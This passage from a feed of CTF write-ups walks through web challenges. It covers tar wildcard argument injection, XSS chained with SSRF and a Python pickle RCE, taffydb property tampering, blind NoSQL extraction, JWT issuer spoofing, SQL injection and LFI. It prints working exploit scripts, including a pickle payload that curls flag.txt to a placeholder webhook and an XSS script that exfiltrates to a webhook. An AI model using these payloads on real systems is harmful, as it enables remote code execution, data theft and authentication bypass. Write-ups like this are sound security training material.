href="https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/tar-wildcard-injection-privesc/"><strong>exploit</strong></a><strong>.<br></strong>The idea is to create files with specific names that match the arguments we want to pass to the tar command. By doing this, we can use a wildcard (*) to include these files, which tar will then be interpreted as command-line arguments instead of files to compress. In this case, the arguments are --checkpoint-action and --checkpoint.</p><pre>echo -e &#39;#!/bin/bash\n/bin/bash&#39; &gt; shell.sh<br>echo &quot;&quot; &gt; &quot;--checkpoint-action=exec=sh shell.sh&quot;<br>echo &quot;&quot; &gt; --checkpoint=1</pre><p>This is the exploit mentioned in the article. However, remember that our files will be empty, so sh shell.sh won&#39;t work. Instead, we can do :</p><pre>echo &quot;&quot; &gt; &quot;--checkpoint-action=exec=id&quot;<br>echo &quot;&quot; &gt; --checkpoint=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*NYDbk0oc1OHEpewdCQbKBw.png" /></figure><p>And It works, note that you can’t compress without having an actual file, an empty text file is enough to make it work.<br>Ok, now executing ‘id’ on the server will not benefit us much so let’s send the output of ‘ls’ to a webhook to see the flag file name and then cat it and send the flag, but we have to bypass this filter first</p><pre>if &#39;..&#39; in file.filename or &#39;/&#39; in file.filename:<br>        return &#39;Invalid file name&#39;, 400</pre><p>Easy! We can base64 encode our command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RoSHMYwrNU8jHgYyZB7_jw.png" /></figure><p>Our file will look like this</p><pre>echo &quot;&quot; &gt; &quot;--checkpoint-action=exec=[base64 payload] | base64 -d | bash&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HiCu2W8Lfry8GmndRi2rQ.png" /></figure><p>First, we send the file with the <strong>ls</strong> and then the file with the <strong>cat</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/419/1*cG0vWanHM21VMM5XuIh8ag.png" /><figcaption>ls</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*gSG5gR6gg-Ub7CAkJt-2Aw.png" /><figcaption>cat flag</figcaption></figure><p><strong>Flag:</strong> <em>byuctf{argument_injection_stumped_me_the_most_at_D3FC0N_last_year}</em></p><blockquote><strong>Note</strong>: I didn’t solve this one during the competition. I found an exploit, played around with it, and moved on. The lesson learned: when you find an exploit or proof of concept (POC), don’t get too focused on it and forget about the challenge itself. You need to read the code carefully to ensure the exploit fits the challenge, not the other way around.</blockquote><h3>[Web] Triple Whammy — 46 solves</h3><h4>First Look</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*o_NAYv3YuUY6E-PGFTZYsQ.png" /><figcaption>title &amp; description</figcaption></figure><p>We are given two URLs and source code, the same bot as the Not A Problem challenge.</p><p><strong>Server.py</strong></p><pre># imports<br>from flask import Flask, request<br>from urllib.parse import urlparse<br>import requests<br><br><br># initialize flask<br>app = Flask(__name__)<br>SECRET = open(&quot;secret.txt&quot;, &quot;r&quot;).read()<br><br><br># index<br>@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])<br>def main():<br>    name = request.args.get(&#39;name&#39;,&#39;&#39;)<br><br>    return &#39;Nope still no front end, front end is for noobs &#39;+name<br><br><br># query<br>@app.route(&#39;/query&#39;, methods=[&#39;POST&#39;])<br>def query():<br>    # get &quot;secret&quot; cookie<br>    cookie = request.cookies.get(&#39;secret&#39;)<br><br>    # check if cookie exists<br>    if cookie == None:<br>        return {&quot;error&quot;: &quot;Unauthorized&quot;}<br>    <br>    # check if cookie is valid<br>    if cookie != SECRET:<br>        return {&quot;error&quot;: &quot;Unauthorized&quot;}<br>    <br>    # get URL<br>    try:<br>        url = request.json[&#39;url&#39;]<br>    except:<br>        return {&quot;error&quot;: &quot;No URL provided&quot;}<br><br>    # check if URL exists<br>    if url == None:<br>        return {&quot;error&quot;: &quot;No URL provided&quot;}<br>    <br>    # check if URL is valid<br>    try:<br>        url_parsed = urlparse(url)<br>        if url_parsed.scheme not in [&#39;http&#39;, &#39;https&#39;] or url_parsed.hostname != &#39;127.0.0.1&#39;:<br>            return {&quot;error&quot;: &quot;Invalid URL&quot;}<br>    except:<br>        return {&quot;error&quot;: &quot;Invalid URL&quot;}<br>    <br>    # request URL<br>    try:<br>        requests.get(url)<br>    except:<br>        return {&quot;error&quot;: &quot;Invalid URL&quot;}<br>    <br>    return {&quot;success&quot;: &quot;Requested&quot;}<br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=1337, threaded=True)</pre><p><strong>Internal.py</strong></p><pre># imports<br>from flask import Flask, request<br>import pickle, random<br><br><br># initialize flask<br>app = Flask(__name__)<br>port = random.randint(5700, 6000)<br>print(port)<br><br><br># index<br>@app.route(&#39;/pickle&#39;, methods=[&#39;GET&#39;])<br>def main():<br>    pickle_bytes = request.args.get(&#39;pickle&#39;)<br><br>    if pickle_bytes is None:<br>        return &#39;No pickle bytes&#39;<br>    <br>    try:<br>        b = bytes.fromhex(pickle_bytes)<br>    except:<br>        return &#39;Invalid hex&#39;<br>    <br>    try:<br>        data = pickle.loads(b)<br>    except:<br>        return &#39;Invalid pickle&#39;<br><br>    return str(data)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=port, threaded=True)</pre><h4>Analysis</h4><p>We can tell it is another XSS challenge:</p><pre>name = request.args.get(&#39;name&#39;,&#39;&#39;)<br><br>return &#39;Nope still no front end, front end is for noobs &#39;+name</pre><p>The name is reflected on the page without any sanitization or filtering.</p><p>we can do: <strong>[URL]?name=&lt;script&gt;alert(1)&lt;/script&gt;</strong></p><p>As we can see in the server.py the /queryendpoint requires a cookie with the secret which we could not steal from the bot (httponly tag is set on the cookie) so as in the previous challenge we have to send an XSS-infected page to the bot and trigger a script to make the bot request that endpoint for us.</p><pre>&lt;script&gt;<br>  fetch(&#39;/query&#39;,{<br>    method:&#39;POST&#39;,<br>    headers: {&#39;Content-Type&#39;: &#39;application/json&#39;},<br>    body:JSON.stringify({url:&quot;SOMETHING&quot;})<br>})<br>&lt;/script&gt;</pre><p>Now, we have to give it a URL to visit, the URL scheme must be http or https, and the hostname 127.0.0.1. This is called <a href="https://portswigger.net/web-security/ssrf"><strong>SSRF</strong></a> where the bot sends a request to the Localhost (himself) to exfiltrate sensitive data or to reach some “restricted internal routes” in our case.</p><pre># check if URL is valid<br>    try:<br>        url_parsed = urlparse(url)<br>        if url_parsed.scheme not in [&#39;http&#39;, &#39;https&#39;] or url_parsed.hostname != &#39;127.0.0.1&#39;:<br>            return {&quot;error&quot;: &quot;Invalid URL&quot;}<br>    except:<br>        return {&quot;error&quot;: &quot;Invalid URL&quot;}<br>    <br>    # request URL<br>    try:<br>        requests.get(url)<br>    except:<br>        return {&quot;error&quot;: &quot;Invalid URL&quot;}</pre><p>So, why do we want to reach the /pickleendpoint? because the pickle module is vulnerable when unpickling untrusted data.<br>How did I know that? Our input is being processed by the pickle module right? So if we search for<em> </em><em>pickle loads exploit</em>, we will find <a href="https://davidhamann.de/2020/04/05/exploiting-python-pickle/"><strong>this</strong></a>.</p><p>That is exactly what we need, so I changed the command to send the flag to <a href="https://requestinspector.com/">request inspector</a> with curl, and the payload should be hex encoded not base64 as we see in this line <strong>“b = bytes.fromhex(pickle_bytes)”</strong></p><pre>import pickle<br>import os<br>import binascii<br><br><br>class RCE:<br>    def __reduce__(self):<br>        cmd = (&quot;&quot;&quot;curl -X POST -H &quot;Content-Type: text/plain&quot; --data-binary @flag.txt [your-webhook]&quot;&quot;&quot;)<br>        return os.system, (cmd,)<br><br><br>if __name__ == &#39;__main__&#39;:<br>    pickled = pickle.dumps(RCE())<br>    print(binascii.hexlify(pickled).decode())<br>    </pre><p>The port number where the /pickleroute resides is random so the only way to send the bot to that route is by brute-forcing the 300 ports.</p><pre>port = random.randint(5700, 6000)<br>print(port)</pre><p>Here is a recap, we send the XSS malicious page to the bot, and the script will execute and fetch the /queryendpoint with the JSON data that has the URL, and then we provide a URL that requests the /pickleendpoint with our generated pickle payload.</p><pre>XSS SCRIPT THAT IS GONNA BE EXECUTED ON THE BOT SIDE:<br><br>&lt;script&gt;<br>fetch(&#39;/query&#39;, {<br>    method: &#39;POST&#39;,<br>    headers: {<br>        &#39;Content-Type&#39;: &#39;application/json&#39;<br>    },<br>    body: JSON.stringify({<br>        url: &quot;http://127.0.0.1:&quot; + [PORT] + &quot;/pickle?pickle=&quot; + pickled_hex<br>    })<br>})<br>.then(response =&gt; response.json())<br>.then(data =&gt; fetch(&#39;YOUR-WEBHOOK&#39;, {<br>    method: &#39;POST&#39;,<br>    body: JSON.stringify(data)<br>}));<br>&lt;/script&gt;</pre><h4>Exploit</h4><pre>import requests<br>import pickle<br>import os<br>import binascii<br><br><br>class RCE:<br>    def __reduce__(self):<br>        cmd = (&quot;&quot;&quot;curl -X POST -H &quot;Content-Type: text/plain&quot; --data-binary @flag.txt [YOUR-WEBHOOK]&quot;&quot;&quot;)<br>        return os.system, (cmd,)<br><br><br><br>pickled = pickle.dumps(RCE())<br>pickled_hex = binascii.hexlify(pickled).decode()<br><br>bot = &quot;https://triple-whammy-admin.chal.cyberjousting.com/visit&quot;<br><br>session = requests.Session()<br><br>for i in range(5700,6001):<br>    payload = &quot;&quot;&quot;&lt;script&gt;fetch(&#39;/query&#39;,{method:&#39;POST&#39;,headers: {&#39;Content-Type&#39;: &#39;application/json&#39;},body:JSON.stringify({url:&quot;http://127.0.0.1:&quot;&quot;&quot;+ str(i) +&quot;&quot;&quot;/pickle?pickle=  &quot;&quot;&quot;+ pickled_hex +&quot;&quot;&quot; &quot;})}).then(response=&gt;response.json()).then(data=&gt;fetch(&#39;YOUR-WEBHOOK&#39;,{method:&#39;POST&#39;,body:JSON.stringify(data)}))&lt;/script&gt;&quot;&quot;&quot;<br><br>    data = {<br>        &quot;path&quot;: f&quot;?name={payload}&quot;<br>    }<br>    resp = session.post(bot, data=data)<br>    print(f&quot;port {i}: {resp.text}&quot;)</pre><p>We wait until we get the correct port, and the flag will be delivered to our webhook.</p><p><strong>Important Note</strong></p><p>The /queryroute is just requesting another URL, right?</p><pre>Server.py<br># request URL<br>try:<br>    requests.get(url)<br>except:<br>    return {&quot;error&quot;: &quot;Invalid URL&quot;}</pre><p>Then a simpler approach would be to make the bot request the internal /pickleroute directly.</p><pre>...<br>bot = &quot;https://triple-whammy-admin.chal.cyberjousting.com/visit&quot;<br><br>session = requests.Session()<br><br>for i in range(5700,6001):<br>    payload = &quot;&quot;&quot;&lt;script&gt;fetch(&#39;http://127.0.0.1:&quot;&quot;&quot; + str(i) + &quot;&quot;&quot;/pickle?pickle=&quot;&quot;&quot; + pickled_hex + &quot;&quot;&quot; &#39;)&lt;/script&gt;&quot;&quot;&quot;<br><br>    data = {<br>        &quot;path&quot;: f&quot;?name={payload}&quot;<br>    }<br>    resp = session.post(bot, data=data)<br>    print(f&quot;port {i}: {resp.text}&quot;)</pre><p>I think this is a more optimized solution by the cool ChattyPlatinumCool ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cj_joH65iponOXioJ0dyYQ.png" /></figure><blockquote>Thanks for reading ❤</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7214a64a70d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Squ1rrel CTF]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/squ1rrel-ctf-c7e34366ffad?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7e34366ffad</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Mon, 06 May 2024 15:12:40 GMT</pubDate>
            <atom:updated>2026-05-15T08:12:27.919Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>One of the best CTFs of this year, everything is balanced and everything is in place, maybe some forensics and Pyjail challenges and it is perfect. Keep going we’re looking for more ;)</p><h3>Web/JSON Store — 74 solves</h3><h4>First Look</h4><p>We are given a URL and source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*_dKQFjPz6cHpMMG1ydCd6w.png" /></figure><p>So we simply can add and get data with the username, we are likely dealing with a database, you can tell from the title right :)<br>here is a query:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*N0HmMR3wN_M7oSdsLxxOyQ.png" /></figure><h4>Analysis</h4><p>So, here is the interesting js code</p><pre>const express = require(&quot;express&quot;);<br>const path = require(&quot;path&quot;);<br>const TAFFY = require(&quot;taffydb&quot;).taffy;<br><br>const db = TAFFY([<br>    {&quot;username&quot;: &quot;admin&quot;, &quot;comments&quot;: process.env.FLAG},<br>    {&quot;username&quot;: &quot;randomuser&quot;, &quot;comments&quot;: &quot;This is a test comment&quot;},<br>]);<br><br><br>const app = express();<br>app.use(express.json());<br><br>app.get(&quot;/&quot;, (req, res) =&gt; {<br>    res.sendFile(path.join(__dirname, &quot;/index.html&quot;));<br>});<br><br>app.post(&quot;/addData&quot;, (req, res) =&gt; {<br>    const { data, username } = req.body;<br>    if (!username || typeof username !== &quot;string&quot; || username == &quot;admin&quot;) {<br>        return res.status(400).send(&quot;Invalid username!&quot;);<br>    }<br><br>    if (!data || typeof data !== &quot;object&quot;) {<br>        return res.status(400).send(&quot;Invalid data!&quot;);<br>    }<br><br>    for (const key in data) {<br>        if (typeof data[key] !== &quot;string&quot;) {<br>            return res.status(400).send(&quot;Invalid data!&quot;);<br>        }<br>    }<br><br>    // set username to data<br>    data[&quot;username&quot;] = username;<br><br>    db.insert(data);<br>    res.status(200).send(&quot;Data added successfully!&quot;);<br>});<br><br>// POST /getData<br>app.post(&quot;/getData&quot;, (req, res) =&gt; {<br>    const { username, filters } = req.body;<br><br>    if (!username || typeof username !== &quot;string&quot; || username == &quot;admin&quot;) {<br>        return res.status(403).send(&quot;Invalid username!&quot;);<br>    }<br><br>    if (!filters || typeof filters !== &quot;object&quot;) {<br>        return res.status(400).send(&quot;Invalid filters!&quot;);<br>    }<br><br>    for (const key in filters) {<br>        if (typeof filters[key] !== &quot;string&quot;) {<br>            return res.status(400).send(&quot;Invalid data!&quot;);<br>        }<br>    }<br><br>    filters[&quot;username&quot;] = username;<br><br>    const data = db(filters).get();<br>    res.status(200).send(JSON.stringify(data));<br>});<br><br><br>app.listen(3000, () =&gt; {<br>    console.log(&quot;Server is running on port 3000&quot;);<br>});</pre><p>We see that the flag is assigned to the admin but this condition is preventing us from adding and reading records as ‘admin’</p><pre> if (!username || typeof username !== &quot;string&quot; || username == &quot;admin&quot;) {<br>     return res.status(403).send(&quot;Invalid username!&quot;);<br> }</pre><p>But, wait a minute, what is <strong>taffydb</strong> ? why not MySQL or SQLite or something known ?<br>because taffydb has a severe vulnerability, ‘Internal Property Tampering’.<br>here is the exploit: <a href="https://security.snyk.io/vuln/SNYK-JS-TAFFYDB-2992450"><strong>https://security.snyk.io/vuln/SNYK-JS-TAFFYDB-2992450</strong></a><br>payload:</p><pre>{&quot;username&quot;:&quot;Smith&quot;, &quot;password&quot;:&quot;123&quot;, &quot;___id&quot;:&quot;T000002R000002&quot;, &quot;___s&quot;:&quot;true&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_zCHyrbWj0Q4ac1-K6kgg.png" /></figure><p><strong>Flag:</strong> squ1rrel{can_you_believe_taffy_still_gets_hundreds_of_thousands_of_downloads_per_WEEK}</p><h3>Web/Goosemon — 54 solves</h3><h4>First Look</h4><p>We are given a URL and a source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*HmXy1ZPymKcyPc5cQlSaPg.png" /></figure><p>A sign-in page :) we all know what to do right ? <br>SQL payloads did not work, and the response is not very encouraging to continue blind testing so let&#39;s hope into the code</p><h4>Analysis</h4><p>The challenge description tells us that the flag is the password and admin is the username, so it is mostly a blind NoSQL attack:</p><pre>const { MongoClient } = require(&#39;mongodb&#39;);<br><br>// add the flag to the database<br>const url = process.env.ME_CONFIG_MONGODB_URL;<br>const client = new MongoClient(url);<br>const dbName = &#39;goosemon&#39;;<br>const flag = process.env.FLAG;<br>const userCollection = &#39;users&#39;;<br>const flagDoc = { username: &quot;admin&quot;, password: flag };<br><br>(async () =&gt; {<br>    await client.connect();<br>    const db = client.db(dbName);<br>    const collection = db.collection(userCollection);<br>    await collection.insertOne(flagDoc);<br>    console.log(&#39;Flag added to database&#39;);<br>    await client.close();<br>}<br>)();</pre><p>There are not many things to see on the code except this filter that is preventing us from using $regex:</p><pre>const filter = (input) =&gt; {<br>    if (typeof input === &#39;string&#39;) {<br>        return input.toLowerCase().includes(&#39;regex&#39;);<br>    }<br>  <br>    if (typeof input === &#39;object&#39;) {<br>        return JSON.stringify(input).toLowerCase().includes(&#39;regex&#39;);<br>    }<br>}</pre><p>I first tried with $gt (greater than <a href="https://www.mongodb.com/docs/manual/reference/operator/query-comparison/"><strong>comparison operator in MongoDB</strong></a>)<br>looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UZ1lu1twwf10j-gti3OAXw.png" /></figure><p>This method compares character by character if you get the first right we move on to the next one and so on.<br>‘s’ is greater than ‘a’ =&gt; success, ‘s’ less than ‘z’ =&gt; fail.<br>The idea is to go over printable characters <strong>in order</strong> and when we get to the character that returns Login Failed, we take the previous character, but guess what ? the flag contains the word ‘regex’ and at some point, the filter will do his job and block you from getting other characters of the flag.<br>you only get this: <strong>squ1rrel{7h0ugh7_y0u_c0u1d_rege</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*eJgoWdjqdObf09GqMp4dyw.jpeg" /><figcaption>nice move :)</figcaption></figure><p>So, we need to compare characters from any position we want not in order, if we look for <a href="https://www.mongodb.com/docs/manual/reference/operator/aggregation/">aggregation operators</a> in MongoDB we will find $substr and if we combine it with $eq and $expr we will get the right payload, you can ask chat: ‘<strong>how to compare characters using $substr in MongoDB</strong>’ and you will get it. So we need a little script for that :</p><pre>import requests<br><br>url = &quot;http://34.132.166.199:5249/login&quot;<br><br>flag = &quot;squ1rrel{&quot;<br>i=9<br>while flag[-1] != &quot;}&quot;:<br>    for j in range(32,127):<br>        data = {<br>            &quot;username&quot;: &quot;admin&quot;,<br>            &quot;$expr&quot;: {<br>                &quot;$eq&quot;: [<br>                { &quot;$substr&quot;: [&quot;$password&quot;, i, 1] }, f&quot;{chr(j)}&quot;<br>                ]<br>            }<br>        }<br><br>        r = requests.Session().post(url, json=data)<br>        <br>        if r.status_code == 200:<br>            flag+=chr(j)<br>            print(flag)<br>            break<br>    i=i+1</pre><p>You have to familiarize yourself with the concept of blind injection first. here is a good source: <a href="https://portswigger.net/web-security/sql-injection/blind">https://portswigger.net/web-security/sql-injection/blind</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*qeES9tluIsfuuCh0cjtvlQ.png" /></figure><p><strong>Flag: </strong>squ1rrel{7h0ugh7_y0u_c0u1d_regex_y0ur_way_0u7_0f_7h1s_ay3?}</p><h3>Web/Key Server — 31 solves</h3><h4>First Look</h4><p>We are given a URL and a source code.<br>There is nothing to see on the webpage there is an admin dashboard, just a white screen that says ‘Token cookie missing’. Let&#39;s take a look at the code.</p><pre>const jwt = require(&quot;jsonwebtoken&quot;);<br>const express = require(&quot;express&quot;);<br>const cookieParser = require(&#39;cookie-parser&#39;)<br><br>const app = express();<br>app.use(cookieParser());<br><br>const verifyToken = async (req, res, next) =&gt; {<br>    const token = req.cookies[&quot;token&quot;];<br>    if (!token) {<br>        return res.status(401).send(&quot;Token cookie missing&quot;);<br>    }<br><br>    const { header } = jwt.decode(token, { complete: true });<br>    if (!header?.issuer || !header?.alg) {<br>        return res.status(401).send(&quot;Headers missing&quot;);<br>    }<br><br>    let issuer;<br>    try {<br>        issuer = new URL(header.issuer);<br>    } catch (e) {<br>        return res.status(401).send(&quot;Failed to parse URL&quot;);<br>    }<br><br>    if (!issuer.host.startsWith(&quot;10.&quot;)) {<br>        return res.status(401).send(&quot;Invalid IP address&quot;);<br>    }<br><br>    // fetch public key from local key server<br>    let publicKey;<br>    try {<br>        publicKey = await (await fetch(header.issuer)).text();<br>    } catch (e) {<br>        return res.status(401).send(&quot;Failed to get public key&quot;);<br>    }<br><br>    try {<br>        const verified = jwt.verify(token, publicKey, { algorithms: [&quot;RS256&quot;] });<br>        if (!verified) {<br>            return res.status(401).send(&quot;Invalid token&quot;);<br>        }<br>        <br>        if (verified.user === &quot;admin&quot;) {<br>            return next();<br>        } else {<br>            res.status(401).send(&quot;Not admin!&quot;);<br>        }<br>    } catch (e) {<br>        res.status(401).send(&quot;Verification error&quot;);<br>    }<br>};<br><br>app.get(&quot;/&quot;, (req, res) =&gt; {<br>    res.send(`website undergoing renovations&lt;br /&gt;<br>    &lt;a href=&quot;/admin&quot;&gt;admin dashboard&lt;/a&gt;`);<br>});<br><br>app.get(&quot;/admin&quot;, verifyToken, (req, res) =&gt; {<br>    res.send(process.env.FLAG);<br>});<br><br>app.listen(3000, () =&gt; {<br>    console.log(&quot;Server running on port 3000&quot;);<br>});</pre><p>Do you see that code above? That is it just follow the steps and you will get the flag, by the way, you need to understand JSON web tokens first :)</p><h4>Analysis</h4><p>We can identify these pieces of information from the code:<br>- A cookie named token<br>- Token should have two headers: alg and issuer<br>- The issuer should be a URL and its domain starts with 10.<br>- The token algorithm is RS256<br>- After verification, the Token payload should have a user: admin</p><p>OK, now the process, a token with RS256 algorithm should have a public key and a private key to sign it, you can create them with these commands: (<a href="https://www.ibm.com/docs/en/intelligent-promising?topic=pisipbuc-creating-jwt-issuer-secret-by-using-public-key"><strong>source</strong></a>)</p><pre>openssl genrsa -out &lt;user&gt;Private.pem<br>openssl rsa -in &lt;user&gt;Private.pem -pubout -out &lt;user&gt;Pub.pem</pre><p>Now this part:</p><pre>let publicKey;<br>    try {<br>        publicKey = await (await fetch(header.issuer)).text();<br>    } catch (e) {<br>        return res.status(401).send(&quot;Failed to get public key&quot;);<br>    }</pre><p>When we send our verified token it is gonna proceed to fetch the URL in the issuer header, what to do with it? here:</p><pre>const verified = jwt.verify(token, publicKey, { algorithms: [&quot;RS256&quot;] });<br>if (!verified) {<br>      return res.status(401).send(&quot;Invalid token&quot;);<br> }</pre><p>Whatever gets fetched from the URL is going to be passed as a public key to verify OUR token which we already have its public key, so we need to host the file (eg: KeyPub.pem) and make it available over the internet, the domain should start with 10. , for that we can use <a href="https://pagekite.net/"><strong>PageKite</strong></a><strong> </strong>to create such a host and you don’t even need a web server. (or <a href="https://requestcatcher.com/">https://requestcatcher.com/</a>)<br><strong>Note</strong>: you can use Ngrok premium too but Pagekite provides setting your subdomain as you want for free</p><blockquote>If you don’t have a web server already installed, but just want to quickly expose a folder full of files or images, you can do so using pagekite.py&#39;s built-in web server:<br>pagekite.py /path/to/folder foo.pagekite.me</blockquote><p>So our host will be like:</p><pre>pagekite.py [public key folder] 10.[something].pagekite.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*ZXboY8BsLp9cMdXQ1eTtdA.png" /></figure><p>Now everything is ready, we go to jwt.io, copy our token, and send it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j__QgkLtrw0_49Q3erwWBQ.png" /></figure><p><strong>Flag:</strong> squ1rrel{subdomains_that_start_with_10_should_be_private_too}</p><p><em>Author’s writeup for the other two challenges:</em><br><strong>Mutex-Lock:</strong> <a href="https://squ1rrel.dev/squ1rrel-mutex-lock">https://squ1rrel.dev/squ1rrel-mutex-lock</a><br><strong>Personal Website:</strong> <a href="https://squ1rrel.dev/squ1rrel-personal-website">https://squ1rrel.dev/squ1rrel-personal-website</a></p><h3>Thanks for reading ❤</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7e34366ffad" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SpringForwardCTF 2024]]></title>
            <link>https://medium.com/@zagrouba.alaa0101/springforwardctf-2024-751483ec726e?source=rss-2809fa8bc9d1------2</link>
            <guid isPermaLink="false">https://medium.com/p/751483ec726e</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Zagrouba Alaa]]></dc:creator>
            <pubDate>Mon, 29 Apr 2024 10:23:39 GMT</pubDate>
            <atom:updated>2024-04-29T14:48:37.926Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>A fun, laid-back CTF with easy-medium challenges. Therefore, I won’t be overly critical of it, it definitely misses some stuff but yeah good overall.</p><h3>Web/Socratic-Script — 248 solves</h3><h4>First Look</h4><p>we are given a text file containing a password and a URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZsIcfv05cYzzlcWTB8IUA.png" /></figure><p>If we inspect the page we will find this</p><pre>&lt;script&gt;<br>  // Participants will need to remove or disable this script to allow uploads<br>  document.getElementById(&#39;uploadForm&#39;).addEventListener(&#39;submit&#39;, function(event) {<br>      event.preventDefault();<br>        alert(&#39;Denied!&#39;);<br>   });<br>&lt;/script&gt;</pre><h4>Analysis</h4><p>So, we have to go to the Sources tab remove that script, and upload the text file given, or open dev tools and hit Ctrl+Shift+P then type javascript -&gt; disable.<br><strong>Flag:</strong> nicc{p@SSAGe_GR@Nt3D}</p><h3>Web/Into-the-Gorgons’-Den — 159 solves</h3><h4>First Look</h4><p>We are given a URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0-Dd8We7BS67bdhux3OfXw.png" /></figure><h4>Analysis</h4><p><strong>The mirror shield</strong><br>If we inspect the page, we will find some words that will solve the puzzles.<br>First input field we put ‘suesrep’ and we will get this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4s-0NYDrrAQi8TeSqEWDag.png" /></figure><p>here is the function of doing that</p><pre>function checkAvailability() {<br>    var xhttp = new XMLHttpRequest();<br><br>    xhttp.onreadystatechange = function () {<br>        if (this.readyState == 4 &amp;&amp; this.status == 200) {<br>            document.getElementById(&#39;petrifiedContent&#39;).innerHTML = this.responseText;<br>        }<br>    };<br><br>    xhttp.open(&#39;GET&#39;, &#39;time.php&#39;, true);<br>    xhttp.send();<br>}</pre><p>I’m really gonna feel bad if you actually have to wait 28 minutes to get the first part of the flag, anyway, I made a script that requests the page every second :) <br>(you can change the setInterval in the javascript too)</p><pre>import requests<br>import time<br><br>url = &quot;https://springforward-into-the-gorgons-den.chals.io/time.php&quot;<br>resp = requests.get(url)<br><br>while &quot;nicc&quot; not in resp.text:<br>    resp = requests.get(url)<br>    time.sleep(1)<br><br>    print(resp.text)</pre><p><strong>Serpentine encryption</strong></p><p>Throw the encrypted text to <a href="https://www.dcode.fr/cipher-identifier">cipher identifier</a>: it is ROT-13 cipher and you get the second part</p><p><strong>Complete your quest</strong></p><p>As usual, Inspect and you will find the last key: sl4yth3 enter it and you get the last part</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*ZqsmtrqDwP0dAmoaT1VNcA.png" /></figure><p><strong>Flag: </strong>nicc{sl4y_th3_g0rg0n}</p><h3>Web/back-in-time — 46 solves</h3><h4>First Look</h4><p>We are given a URL and login page, you know what to do :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*CxmWozJK95Hi-p3hqyTrEw.png" /></figure><p>If we try SQL injection with “ (double quote) we will get an error indicating it is MySQL, so let&#39;s try basic injection to bypass the check (read <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#mysql-comments">this</a>)</p><pre>&quot; or 1=1;-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDL6hN_MdM4Bk5BD71rfyw.png" /></figure><p>and we are in, nothing special here everything seems ok, it is just not functioning, this one we are just gonna inspect the Main Menu and Time Travel<br> &lt;! — back-in-time flag part 1 of 3: “nicc{nBUE2hG” →<br>&lt;! — back-in-time flag part 2 of 3: “meTQRbL” →<br>the third part is not inspecting the source of Machine Status but checking the headers in the network tab of it and we find this:<br>X-Interesting-Header: back-in-time flag part 3 of 3: “cijueiF}”<br><strong>Flag:</strong> nicc{nBUE2hGmeTQRbLcijueiF}</p><h3>Web/Underworld-Bypass — 23 solves</h3><p>I don’t know what to say about this one, but it is guessy to be honest, unless you understand the riddle and the description :)<br>Description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*SyHqKqR4nbg94HEWEAbnmw.png" /></figure><p>Riddle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*Rdw2TDwM_bSgoWNQNJ6p9Q.png" /></figure><h4>First Look</h4><p>we are given a URL here it is:<br><a href="https://springforward-underworld-bypass.chals.io/explore.php?file=realm.html">https://springforward-underworld-bypass.chals.io/explore.php?file=realm.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Pv7MgkOr7cZZcbjHN_h9A.png" /></figure><h4>Analysis</h4><p>So, from the URL parameter ‘file’, we can tell it is <a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion#top-25-parameters">LFI</a> but for some technical reasons the author blacklisted every path (someone gained RCE that is why), you can&#39;t access /etc/passwd you will get Acess denied. The only thing in my mind is, if we are looking for the flag.txt file the realm_key must be a folder, I tried /realm_key/flag.txt and it worked<br>URL: <a 